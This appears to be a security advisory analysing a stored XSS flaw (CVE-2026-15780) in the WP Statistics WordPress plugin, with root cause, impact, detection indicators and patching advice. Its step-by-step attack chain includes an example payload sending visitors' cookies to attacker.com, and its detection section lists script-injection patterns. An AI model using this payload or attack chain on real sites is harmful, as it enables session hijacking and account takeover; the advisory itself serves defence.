CVE-2026-15780: 
WordPress vulnerability analysis and mitigation

CVE-2026-15780 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Statistics – Simple, privacy-friendly Google Analytics alternative plugin for WordPress. It affects all versions up to and including 14.16.8 and allows unauthenticated attackers to inject arbitrary web scripts via the utm_campaign parameter. The vulnerability was published on August 19, 2026, with a patch made available the same day. It carries a CVSS v3.1 base score of 7.2 (High) (GitHub Advisory).

The root cause is insufficient input sanitization and output escaping of the utm_campaign parameter (CWE-79). The attack exploits the public /wp-statistics/v2/hit REST API endpoint, which requires a signature that is inadvertently exposed on the public homepage. An attacker supplies a base64-encoded page_uri POST parameter that overrides the previously sanitized REQUEST_URI, causing the malicious utm_campaign value to bypass sanitization and be persisted to the database. Vulnerable code paths include class-wp-statistics-api-hit.php (line 78), class-wp-statistics-helper.php (line 1462), class-wp-statistics-hits.php (line 102), and the output rendering in referred-visitors.php and visitors.php view templates (GitHub Advisory).

Successful exploitation allows an unauthenticated attacker to persistently store malicious JavaScript in the WordPress database, which executes in the browsers of any user who visits an affected page. This can lead to session hijacking, credential theft, account takeover, or malware distribution targeting site visitors and administrators. Because no authentication is required and the scope is changed (affecting users beyond the vulnerable component), the blast radius extends to all visitors of the compromised WordPress site (GitHub Advisory).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported as of the disclosure date. The vulnerability is exploitable by unauthenticated attackers over the network with low attack complexity, making it a high-priority patching target despite the current absence of active exploitation. No CISA KEV catalog listing or threat actor attribution has been identified at this time (GitHub Advisory).

1. Reconnaissance: Identify WordPress sites running WP Statistics plugin version ≤ 14.16.8 using tools like WPScan or Shodan by fingerprinting the plugin's public assets.
2. Obtain the required signature: Visit the target site's public homepage and extract the signature value exposed in the page source (used to authenticate requests to the /wp-statistics/v2/hit REST endpoint).
3. Craft the malicious request: Prepare a POST request to /wp-statistics/v2/hit that includes:
   • The extracted signature value
   • A base64-encoded page_uri parameter set to a target page path (this overrides the sanitized REQUEST_URI)
   • A malicious utm_campaign parameter containing an XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>)
4. Submit the request: Send the crafted POST request to the endpoint. The base64-encoded page_uri bypasses prior sanitization, causing the malicious utm_campaign value to be stored in the WordPress database.
5. Trigger execution: Wait for an administrator or site visitor to access the injected page (e.g., a statistics dashboard or a page tracked by the plugin). The stored script executes in their browser, enabling session hijacking or credential theft (GitHub Advisory).

• Network: Unusual POST requests to /wp-statistics/v2/hit containing base64-encoded page_uri values and suspicious utm_campaign parameters with HTML/JavaScript content; requests originating from unexpected IPs or automated tools.
• Logs: WordPress access logs showing repeated POST requests to the /wp-statistics/v2/hit REST endpoint with abnormally long or encoded utm_campaign values; entries with base64 strings in the page_uri field.
• Database: Unexpected JavaScript or HTML tags (e.g., <script>, onerror=, javascript:) stored in the WP Statistics visitor or referrer tables, particularly in utm_campaign-related columns.
• Browser/User Reports: Site visitors or administrators reporting unexpected redirects, pop-ups, or browser behavior when accessing pages tracked by WP Statistics.

Update the WP Statistics plugin to a version newer than 14.16.8, as a patch was released on August 19, 2026 (commit 6ab7442) (GitHub Advisory). As a temporary workaround, consider disabling or restricting access to the /wp-statistics/v2/hit REST API endpoint via a WAF rule or WordPress REST API access controls if the plugin cannot be immediately updated. Additionally, implementing Content Security Policy (CSP) headers can limit the impact of any stored XSS payloads by restricting unauthorized script execution.

The vulnerability was noted on Mastodon by security researcher Hugo Valters shortly after disclosure. Automated vulnerability tracking services including VulDB, CVEFeed, and Exploit Intel indexed the CVE within hours of publication. Wordfence published a threat intelligence entry for the vulnerability (Wordfence). No major media coverage or vendor statements beyond the advisory have been identified at this time.